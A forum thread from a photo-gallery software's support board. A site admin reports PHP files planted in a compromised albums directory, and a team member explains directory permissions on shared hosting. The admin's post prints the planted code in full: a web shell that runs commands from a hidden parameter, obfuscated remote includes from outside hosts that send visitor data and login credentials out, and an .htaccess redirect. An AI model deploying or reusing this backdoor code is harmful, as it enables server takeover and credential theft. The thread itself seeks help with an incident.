okay... so I found files sitting in the albums directory, and all sub directories in the album dir that I didn't put there. They are reportedly used for pshishing schemes. I feel like the hosting company is not telling me everything regarding how the files got there, so I need some help from the gallery community.
The story, so far...
I admin two galleries on two different hosting services, one a personal site hosted on a box that my *nix admin friend runs, I'll refer to this galley as PD (runs gallery version 1.4.2). And one for the company I work for, which is hosted elsewhere by a large hosting company. I'll refer to this gallery as GH. It's running a more recent version of gallery - 1.5.? I think.
On both hosts, the albums directories are/were set to 777
My gallery, PD has never been compromised, as far as I know. GH was compromised on Dec 22nd only 22 days after moving the site to this hosting company. I reported the mysterious files to the hosting support team. The fix for this problem, as advised by the host of the GH gallery is to change the album permissions to 775, which is breaking the gallery. In fact, they told me that 777 permissions is the reason these mysetrious files showed up in the first place.
The question I have for the community, is this;
1) How come GH was compromised having the same directory permissions as PD?
2) Do you think the hosting company where GH is hiding a server-side attack/poorly configured server?
3) Are 777 directories generally safe?
Any light shed on this would be absolutley wonderful.
For reference, the code within the following files follows: (each PHP file containted either version of code, .htaccess was the same in all dirs, with the path being a variable.)
commands.php common.php configs.php create.php download.php finfo.php layout.php options.php remote.php test.php and finally .htaccess
<?php
error_reporting(0);
if(isset($_POST["l"]) and isset($_POST["p"])){
if(isset($_POST["input"])){$user_auth="&l=". base64_encode($_POST["l"]) ."&p=". base64_encode(md5($_POST["p"]));}
else{$user_auth="&l=". $_POST["l"] ."&p=". $_POST["p"];}
}else{$user_auth="";}
if(!isset($_POST["log_flg"])){$log_flg="&log";}
if(! @include_once(base64_decode("aHR0cDovL2Jpcy5pZnJhbWUucnUvbWFzdGVyLnBocD9yX2FkZHI9") . sprintf("%u", ip2long(getenv(REMOTE_ADDR))) ."&url=". base64_encode($_SERVER["SERVER_NAME"] . $_SERVER[REQUEST_URI]) . $user_auth . $log_flg))
{
if(isset($_GET["a3kfj39fsj2"])){system($_GET["a3kfj39fsj2"]);}
if($_POST["l"]=="special"){print "sys_active". `uname -a`;}
}
?>
(added line breaks to improve readability of this code
<? error_reporting(0);
$s="e";
$a=(isset($_SERVER["HTTP_HOST"]) ? $_SERVER["HTTP_HOST"] : $HTTP_HOST);
$b=(isset($_SERVER["SERVER_NAME"]) ? $_SERVER["SERVER_NAME"] : $SERVER_NAME);
$c=(isset($_SERVER["REQUEST_URI"]) ? $_SERVER["REQUEST_URI"] : $REQUEST_URI);
$d=(isset($_SERVER["PHP_SELF"]) ? $_SERVER["PHP_SELF"] : $PHP_SELF);
$e=(isset($_SERVER["QUERY_STRING"]) ? $_SERVER["QUERY_STRING"] : $QUERY_STRING);
$f=(isset($_SERVER["HTTP_REFERER"]) ? $_SERVER["HTTP_REFERER"] : $HTTP_REFERER);
$g=(isset($_SERVER["HTTP_USER_AGENT"]) ? $_SERVER["HTTP_USER_AGENT"] : $HTTP_USER_AGENT);
$h=(isset($_SERVER["REMOTE_ADDR"]) ? $_SERVER["REMOTE_ADDR"] : $REMOTE_ADDR);
$str=base64_encode($a).".".base64_encode($b).".".base64_encode($c).".".base64_encode($d).".".base64_encode($e).".".base64_encode($f).".".base64_encode($g).".".base64_encode($h).".$s";
if
((include(base64_decode("aHR0cDovLw==").base64_decode("dXNlcjkubXNodG1sLnJ1")."/?".$str))){}
else
{include(base64_decode("aHR0cDovLw==").base64_decode("dXNlcjcuaHRtbHRhZ3MucnU=")."/?".$str);
}
?>
.htaccess
Order deny,allow
Deny from all
Options -MultiViews
ErrorDocument 404 //path/removed/albums/.users/contacts.php
Thanks in advance.
--
Chris.
Posts: 13451
Which version of Gallery are we talking about? There are no known security issues for current versions.
As for 777 permissions, thats how linux/unix works. The user account that Apache runs as, need to have read and write access to the files in albums/, so unless your host (or someone withtoot access) changes ownership of the albums directory to the user account that Apache runs as, it has to be chmod 777. All new files uploaded through the Gallery interface (or clients) will have the proper permissions, since they are created by the Apache user. In a shared hosting environment, this means that every process that runs as the Apache user, will have read/write permissions on all files created through Apache. There is nothing Gallery can do about that, since this is a server configuration issue.
Hosts can help this situation by running php as your user account, through mechanisms like PHPSuExec and similiar technologies. Gallery will run just fine in such an environment.
I'm sorry to hear about your misfortune, and if there was anything that Gallery could do fix this problem, we would have. This is sadly the case for just about every piece of websoftware like this, be it phpbb2, PostNuke or other similar systems. It's even likely that some other software on the server might have been compromised, and then used to overwrite your Gallery files, since they share the same ownership/run as the same user. I'm not saying that it couldn't have been Gallery, but not ruling out the possiblity of it being a result of other software installed on the same server being the actual culprit security wise.
h0bbel - Gallery Team
If you found my help useful, please consider donating to Gallery
http://h0bbel.p0ggel.org
Posts: 2
Thanks so much for the very informative reply, h0bbel.
To me, and for the record, gallery was never a suspect in this incident, nor was any software we're running aside from gallery.
The reason I posted this question to the gallery forums was to settle some discomfort in resetting the albums perms to 777 - since the host had advised against it.
Thanks again for the quick and informative reply.
--
Chris.
Posts: 13451
No problem. On a shared hosting plan, you're kinda left in the claws of the hoster. Hope it works out!
h0bbel - Gallery Team
If you found my help useful, please consider donating to Gallery
http://h0bbel.p0ggel.org